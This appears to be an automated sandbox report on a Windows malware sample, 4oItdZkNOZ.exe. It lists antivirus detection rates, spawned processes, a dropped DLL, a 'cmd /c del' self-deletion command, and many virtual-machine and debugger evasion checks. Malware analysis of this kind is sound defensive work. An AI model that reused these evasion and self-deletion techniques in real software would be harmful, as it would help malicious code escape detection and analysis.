Source: 4oItdZkNOZ.exe Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe File read: C:\Users\desktop.ini Jump to behavior
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers Jump to behavior
Source: C:\Windows\explorer.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Windows\explorer.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: 4oItdZkNOZ.exe Virustotal: Detection: 30%
Source: 4oItdZkNOZ.exe ReversingLabs: Detection: 33%
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe File read: C:\Users\user\Desktop\4oItdZkNOZ.exe Jump to behavior
Source: unknown Process created: C:\Users\user\Desktop\4oItdZkNOZ.exe 'C:\Users\user\Desktop\4oItdZkNOZ.exe'
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Process created: C:\Users\user\Desktop\4oItdZkNOZ.exe 'C:\Users\user\Desktop\4oItdZkNOZ.exe'
Source: C:\Windows\explorer.exe Process created: C:\Windows\SysWOW64\cscript.exe C:\Windows\SysWOW64\cscript.exe
Source: C:\Windows\SysWOW64\cscript.exe Process created: C:\Windows\SysWOW64\cmd.exe /c del 'C:\Users\user\Desktop\4oItdZkNOZ.exe'
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Process created: C:\Users\user\Desktop\4oItdZkNOZ.exe 'C:\Users\user\Desktop\4oItdZkNOZ.exe' Jump to behavior
Source: C:\Windows\SysWOW64\cscript.exe Process created: C:\Windows\SysWOW64\cmd.exe /c del 'C:\Users\user\Desktop\4oItdZkNOZ.exe' Jump to behavior
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\InProcServer32 Jump to behavior
Source: Binary string: cscript.pdbUGP source: 4oItdZkNOZ.exe, 00000001.00000002.388207380.0000000000A60000.00000040.00000001.sdmp
Source: Binary string: wscui.pdbUGP source: explorer.exe, 00000002.00000000.366018539.0000000007AA0000.00000002.00000001.sdmp
Source: Binary string: wntdll.pdbUGP source: 4oItdZkNOZ.exe, 00000000.00000003.341988783.000000001EFD0000.00000004.00000001.sdmp, 4oItdZkNOZ.exe, 00000001.00000002.388229067.0000000000B10000.00000040.00000001.sdmp, cscript.exe, 00000003.00000002.604526316.0000000004B3F000.00000040.00000001.sdmp
Source: Binary string: wntdll.pdb source: 4oItdZkNOZ.exe, cscript.exe
Source: Binary string: cscript.pdb source: 4oItdZkNOZ.exe, 00000001.00000002.388207380.0000000000A60000.00000040.00000001.sdmp
Source: Binary string: wscui.pdb source: explorer.exe, 00000002.00000000.366018539.0000000007AA0000.00000002.00000001.sdmp

Data Obfuscation:

barindex
Detected unpacking (changes PE section rights)
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Unpacked PE file: 1.2.4oItdZkNOZ.exe.400000.0.unpack .text:ER;.rdata:R;.data:W;.ndata:W;.rsrc:R; vs .text:ER;
Contains functionality to dynamically determine API calls
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 0_2_00401FDC SetErrorMode,GetModuleHandleA,LoadLibraryA,GetProcAddress,FreeLibrary,SetErrorMode, 0_2_00401FDC
PE file contains sections with non-standard names
Source: m9c3uhgbfqo.dll.0.dr Static PE information: section name: .code
Uses code obfuscation techniques (call, push, ret)
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00415047 pushad ; ret 1_2_00415050
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_0041600E pushad ; retf 1_2_0041600F
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00411254 push edi; ret 1_2_00411255
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_0041B3B5 push eax; ret 1_2_0041B408
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_0041B46C push eax; ret 1_2_0041B472
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_0041B402 push eax; ret 1_2_0041B408
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_0041B40B push eax; ret 1_2_0041B472
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00414D4F push FFFFFFA9h; ret 1_2_00414D62
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00B8D0D1 push ecx; ret 1_2_00B8D0E4
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_1_00415047 pushad ; ret 1_1_00415050
Source: C:\Windows\SysWOW64\cscript.exe Code function: 3_2_04A9D0D1 push ecx; ret 3_2_04A9D0E4
Source: C:\Windows\SysWOW64\cscript.exe Code function: 3_2_02B6C2CD push ss; ret 3_2_02B6C2CE
Source: C:\Windows\SysWOW64\cscript.exe Code function: 3_2_02B61254 push edi; ret 3_2_02B61255
Source: C:\Windows\SysWOW64\cscript.exe Code function: 3_2_02B6B3B5 push eax; ret 3_2_02B6B408
Source: C:\Windows\SysWOW64\cscript.exe Code function: 3_2_02B6600E pushad ; retf 3_2_02B6600F
Source: C:\Windows\SysWOW64\cscript.exe Code function: 3_2_02B50008 push ss; ret 3_2_02B5000E
Source: C:\Windows\SysWOW64\cscript.exe Code function: 3_2_02B65047 pushad ; ret 3_2_02B65050
Source: C:\Windows\SysWOW64\cscript.exe Code function: 3_2_02B6B402 push eax; ret 3_2_02B6B408
Source: C:\Windows\SysWOW64\cscript.exe Code function: 3_2_02B6B40B push eax; ret 3_2_02B6B472
Source: C:\Windows\SysWOW64\cscript.exe Code function: 3_2_02B6B46C push eax; ret 3_2_02B6B472
Source: C:\Windows\SysWOW64\cscript.exe Code function: 3_2_02B64D4F push FFFFFFA9h; ret 3_2_02B64D62

Persistence and Installation Behavior:

barindex
Drops PE files
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe File created: C:\Users\user\AppData\Local\Temp\nsv773C.tmp\m9c3uhgbfqo.dll Jump to dropped file
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\cscript.exe Process information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX Jump to behavior

Malware Analysis System Evasion:

barindex
Tries to detect virtualization through RDTSC time measurements
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe RDTSC instruction interceptor: First address: 00000000004085E4 second address: 00000000004085EA instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe RDTSC instruction interceptor: First address: 000000000040897E second address: 0000000000408984 instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
Source: C:\Windows\SysWOW64\cscript.exe RDTSC instruction interceptor: First address: 0000000002B585E4 second address: 0000000002B585EA instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
Source: C:\Windows\SysWOW64\cscript.exe RDTSC instruction interceptor: First address: 0000000002B5897E second address: 0000000002B58984 instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
Contains capabilities to detect virtual machines
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe File opened / queried: SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b} Jump to behavior
Contains functionality for execution timing, often used to detect debuggers
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_004088B0 rdtsc 1_2_004088B0
May sleep (evasive loops) to hinder dynamic analysis
Source: C:\Windows\explorer.exe TID: 244 Thread sleep time: -60000s >= -30000s Jump to behavior
Source: C:\Windows\SysWOW64\cscript.exe TID: 5772 Thread sleep time: -44000s >= -30000s Jump to behavior
Sample execution stops while process was sleeping (likely an evasion)
Source: C:\Windows\explorer.exe Last function: Thread delayed
Source: C:\Windows\SysWOW64\cscript.exe Last function: Thread delayed
Source: C:\Windows\SysWOW64\cscript.exe Last function: Thread delayed
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 0_2_00405301 DeleteFileA,lstrcatA,lstrcatA,lstrlenA,FindFirstFileA,SetFileAttributesA,DeleteFileA,FindNextFileA,FindClose,SetFileAttributesA,RemoveDirectoryA, 0_2_00405301
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 0_2_00405C94 SetErrorMode,SetErrorMode,FindFirstFileA,SetErrorMode,FindClose, 0_2_00405C94
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 0_2_004026BC FindFirstFileA, 0_2_004026BC
Source: explorer.exe, 00000002.00000000.367245380.0000000008430000.00000004.00000001.sdmp Binary or memory string: SCSI\Disk&Ven_VMware&Prod_Virtual_disk\5&1ec51bf7&0&000000
Source: explorer.exe, 00000002.00000000.367199295.00000000083EB000.00000004.00000001.sdmp Binary or memory string: VMware SATA CD00dRom0
Source: explorer.exe, 00000002.00000000.367881772.0000000008540000.00000004.00000001.sdmp Binary or memory string: \\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000025700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#000000001F400000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000026700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: explorer.exe, 00000002.00000000.360675289.0000000005D50000.00000002.00000001.sdmp Binary or memory string: A Virtual Machine could not be started because Hyper-V is not installed.
Source: explorer.exe, 00000002.00000000.362134122.000000000640E000.00000004.00000001.sdmp Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#5&280b647&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}
Source: explorer.exe, 00000002.00000000.367199295.00000000083EB000.00000004.00000001.sdmp Binary or memory string: VMware SATA CD00
Source: explorer.exe, 00000002.00000000.362134122.000000000640E000.00000004.00000001.sdmp Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#5&280b647&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}
Source: explorer.exe, 00000002.00000000.367028557.00000000082E2000.00000004.00000001.sdmp Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#5&280b647&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}>
Source: explorer.exe, 00000002.00000000.360675289.0000000005D50000.00000002.00000001.sdmp Binary or memory string: A communication protocol error has occurred between the Hyper-V Host and Guest Compute Service.
Source: explorer.exe, 00000002.00000000.360675289.0000000005D50000.00000002.00000001.sdmp Binary or memory string: The communication protocol version between the Hyper-V Host and Guest Compute Services is not supported.
Source: explorer.exe, 00000002.00000000.367028557.00000000082E2000.00000004.00000001.sdmp Binary or memory string: 0#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: explorer.exe, 00000002.00000000.367028557.00000000082E2000.00000004.00000001.sdmp Binary or memory string: SCSI\CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00\5&280b647&0&000000
Source: explorer.exe, 00000002.00000000.367245380.0000000008430000.00000004.00000001.sdmp Binary or memory string: SCSI\CDROM&VEN_NECVMWAR&PROD_VMWARE_SATA_CD00\5&280B647&0&000000-;
Source: explorer.exe, 00000002.00000002.603524845.000000000095C000.00000004.00000020.sdmp Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}G
Source: explorer.exe, 00000002.00000000.360675289.0000000005D50000.00000002.00000001.sdmp Binary or memory string: An unknown internal message was received by the Hyper-V Compute Service.
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Process information queried: ProcessInformation Jump to behavior

Anti Debugging:

barindex
Checks if the current process is being debugged
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Process queried: DebugPort Jump to behavior
Source: C:\Windows\SysWOW64\cscript.exe Process queried: DebugPort Jump to behavior
Contains functionality for execution timing, often used to detect debuggers
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_004088B0 rdtsc 1_2_004088B0
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00409B20 LdrLoadDll, 1_2_00409B20
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 0_2_709B1000 Rcxlxosdkhvclf,IsDebuggerPresent,DebugBreak,GetTempPathW,lstrcatW,CreateFileW,GetFileSize,VirtualAlloc,ReadFile,VirtualProtect, 0_2_709B1000
Contains functionality to dynamically determine API calls
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 0_2_00401FDC SetErrorMode,GetModuleHandleA,LoadLibraryA,GetProcAddress,FreeLibrary,SetErrorMode, 0_2_00401FDC
Contains functionality to read the PEB
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 0_2_026918CC mov eax, dword ptr fs:[00000030h] 0_2_026918CC
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 0_2_026916B4 mov eax, dword ptr fs:[00000030h] 0_2_026916B4
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00B6F0BF mov ecx, dword ptr fs:[00000030h] 1_2_00B6F0BF
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00B6F0BF mov eax, dword ptr fs:[00000030h] 1_2_00B6F0BF
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00B6F0BF mov eax, dword ptr fs:[00000030h] 1_2_00B6F0BF
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00B620A0 mov eax, dword ptr fs:[00000030h] 1_2_00B620A0
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00B620A0 mov eax, dword ptr fs:[00000030h] 1_2_00B620A0
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00B620A0 mov eax, dword ptr fs:[00000030h] 1_2_00B620A0
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00B620A0 mov eax, dword ptr fs:[00000030h] 1_2_00B620A0
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00B620A0 mov eax, dword ptr fs:[00000030h] 1_2_00B620A0
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00B620A0 mov eax, dword ptr fs:[00000030h] 1_2_00B620A0
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00B790AF mov eax, dword ptr fs:[00000030h] 1_2_00B790AF
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00B39080 mov eax, dword ptr fs:[00000030h] 1_2_00B39080
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00BB3884 mov eax, dword ptr fs:[00000030h] 1_2_00BB3884
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00BB3884 mov eax, dword ptr fs:[00000030h] 1_2_00BB3884
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00B340E1 mov eax, dword ptr fs:[00000030h] 1_2_00B340E1
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00B340E1 mov eax, dword ptr fs:[00000030h] 1_2_00B340E1
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00B340E1 mov eax, dword ptr fs:[00000030h] 1_2_00B340E1
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00B358EC mov eax, dword ptr fs:[00000030h] 1_2_00B358EC
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00BCB8D0 mov eax, dword ptr fs:[00000030h] 1_2_00BCB8D0
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00BCB8D0 mov ecx, dword ptr fs:[00000030h] 1_2_00BCB8D0
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00BCB8D0 mov eax, dword ptr fs:[00000030h] 1_2_00BCB8D0
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00BCB8D0 mov eax, dword ptr fs:[00000030h] 1_2_00BCB8D0
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00BCB8D0 mov eax, dword ptr fs:[00000030h] 1_2_00BCB8D0
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00BCB8D0 mov eax, dword ptr fs:[00000030h] 1_2_00BCB8D0
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00B6002D mov eax, dword ptr fs:[00000030h] 1_2_00B6002D
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00B6002D mov eax, dword ptr fs:[00000030h] 1_2_00B6002D
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00B6002D mov eax, dword ptr fs:[00000030h] 1_2_00B6002D
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00B6002D mov eax, dword ptr fs:[00000030h] 1_2_00B6002D
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00B6002D mov eax, dword ptr fs:[00000030h] 1_2_00B6002D
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00B4B02A mov eax, dword ptr fs:[00000030h] 1_2_00B4B02A
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00B4B02A mov eax, dword ptr fs:[00000030h] 1_2_00B4B02A
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00B4B02A mov eax, dword ptr fs:[00000030h] 1_2_00B4B02A
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00B4B02A mov eax, dword ptr fs:[00000030h] 1_2_00B4B02A
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00BB7016 mov eax, dword ptr fs:[00000030h] 1_2_00BB7016
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00BB7016 mov eax, dword ptr fs:[00000030h] 1_2_00BB7016
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00BB7016 mov eax, dword ptr fs:[00000030h] 1_2_00BB7016
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00C01074 mov eax, dword ptr fs:[00000030h] 1_2_00C01074
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00BF2073 mov eax, dword ptr fs:[00000030h] 1_2_00BF2073
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00C04015 mov eax, dword ptr fs:[00000030h] 1_2_00C04015
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00C04015 mov eax, dword ptr fs:[00000030h] 1_2_00C04015
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00B50050 mov eax, dword ptr fs:[00000030h] 1_2_00B50050
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00B50050 mov eax, dword ptr fs:[00000030h] 1_2_00B50050
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00BB51BE mov eax, dword ptr fs:[00000030h] 1_2_00BB51BE
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00BB51BE mov eax, dword ptr fs:[00000030h] 1_2_00BB51BE
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00BB51BE mov eax, dword ptr fs:[00000030h] 1_2_00BB51BE
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00BB51BE mov eax, dword ptr fs:[00000030h] 1_2_00BB51BE
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00B661A0 mov eax, dword ptr fs:[00000030h] 1_2_00B661A0
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00B661A0 mov eax, dword ptr fs:[00000030h] 1_2_00B661A0
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00BF49A4 mov eax, dword ptr fs:[00000030h] 1_2_00BF49A4
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00BF49A4 mov eax, dword ptr fs:[00000030h] 1_2_00BF49A4
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00BF49A4 mov eax, dword ptr fs:[00000030h] 1_2_00BF49A4
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00BF49A4 mov eax, dword ptr fs:[00000030h] 1_2_00BF49A4
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00BB69A6 mov eax, dword ptr fs:[00000030h] 1_2_00BB69A6
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00B62990 mov eax, dword ptr fs:[00000030h] 1_2_00B62990
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00B6A185 mov eax, dword ptr fs:[00000030h] 1_2_00B6A185
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00B5C182 mov eax, dword ptr fs:[00000030h] 1_2_00B5C182
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00B3B1E1 mov eax, dword ptr fs:[00000030h] 1_2_00B3B1E1
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00B3B1E1 mov eax, dword ptr fs:[00000030h] 1_2_00B3B1E1
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00B3B1E1 mov eax, dword ptr fs:[00000030h] 1_2_00B3B1E1
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00BC41E8 mov eax, dword ptr fs:[00000030h] 1_2_00BC41E8
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00B6513A mov eax, dword ptr fs:[00000030h] 1_2_00B6513A
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00B6513A mov eax, dword ptr fs:[00000030h] 1_2_00B6513A
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00B54120 mov eax, dword ptr fs:[00000030h] 1_2_00B54120
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00B54120 mov eax, dword ptr fs:[00000030h] 1_2_00B54120
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00B54120 mov eax, dword ptr fs:[00000030h] 1_2_00B54120
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00B54120 mov eax, dword ptr fs:[00000030h] 1_2_00B54120
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00B54120 mov ecx, dword ptr fs:[00000030h] 1_2_00B54120
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00B39100 mov eax, dword ptr fs:[00000030h] 1_2_00B39100
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00B39100 mov eax, dword ptr fs:[00000030h] 1_2_00B39100
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00B39100 mov eax, dword ptr fs:[00000030h] 1_2_00B39100
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00B3B171 mov eax, dword ptr fs:[00000030h] 1_2_00B3B171
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00B3B171 mov eax, dword ptr fs:[00000030h] 1_2_00B3B171
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00B3C962 mov eax, dword ptr fs:[00000030h] 1_2_00B3C962
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00B5B944 mov eax, dword ptr fs:[00000030h] 1_2_00B5B944
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00B5B944 mov eax, dword ptr fs:[00000030h] 1_2_00B5B944
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00B4AAB0 mov eax, dword ptr fs:[00000030h] 1_2_00B4AAB0
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00B4AAB0 mov eax, dword ptr fs:[00000030h] 1_2_00B4AAB0
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00B6FAB0 mov eax, dword ptr fs:[00000030h] 1_2_00B6FAB0
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00B352A5 mov eax, dword ptr fs:[00000030h] 1_2_00B352A5
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00B352A5 mov eax, dword ptr fs:[00000030h] 1_2_00B352A5
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00B352A5 mov eax, dword ptr fs:[00000030h] 1_2_00B352A5
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00B352A5 mov eax, dword ptr fs:[00000030h] 1_2_00B352A5
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00B352A5 mov eax, dword ptr fs:[00000030h] 1_2_00B352A5
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00B6D294 mov eax, dword ptr fs:[00000030h] 1_2_00B6D294
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00B6D294 mov eax, dword ptr fs:[00000030h] 1_2_00B6D294
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00B62AE4 mov eax, dword ptr fs:[00000030h] 1_2_00B62AE4
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00B62ACB mov eax, dword ptr fs:[00000030h] 1_2_00B62ACB
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00B74A2C mov eax, dword ptr fs:[00000030h] 1_2_00B74A2C
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00B74A2C mov eax, dword ptr fs:[00000030h] 1_2_00B74A2C
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00C08A62 mov eax, dword ptr fs:[00000030h] 1_2_00C08A62
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00B35210 mov eax, dword ptr fs:[00000030h] 1_2_00B35210
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00B35210 mov ecx, dword ptr fs:[00000030h] 1_2_00B35210
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00B35210 mov eax, dword ptr fs:[00000030h] 1_2_00B35210
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00B35210 mov eax, dword ptr fs:[00000030h] 1_2_00B35210
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00B3AA16 mov eax, dword ptr fs:[00000030h] 1_2_00B3AA16
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00B3AA16 mov eax, dword ptr fs:[00000030h] 1_2_00B3AA16
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00B53A1C mov eax, dword ptr fs:[00000030h] 1_2_00B53A1C
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00BFAA16 mov eax, dword ptr fs:[00000030h] 1_2_00BFAA16
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00BFAA16 mov eax, dword ptr fs:[00000030h] 1_2_00BFAA16
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00B48A0A mov eax, dword ptr fs:[00000030h] 1_2_00B48A0A
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00B7927A mov eax, dword ptr fs:[00000030h] 1_2_00B7927A
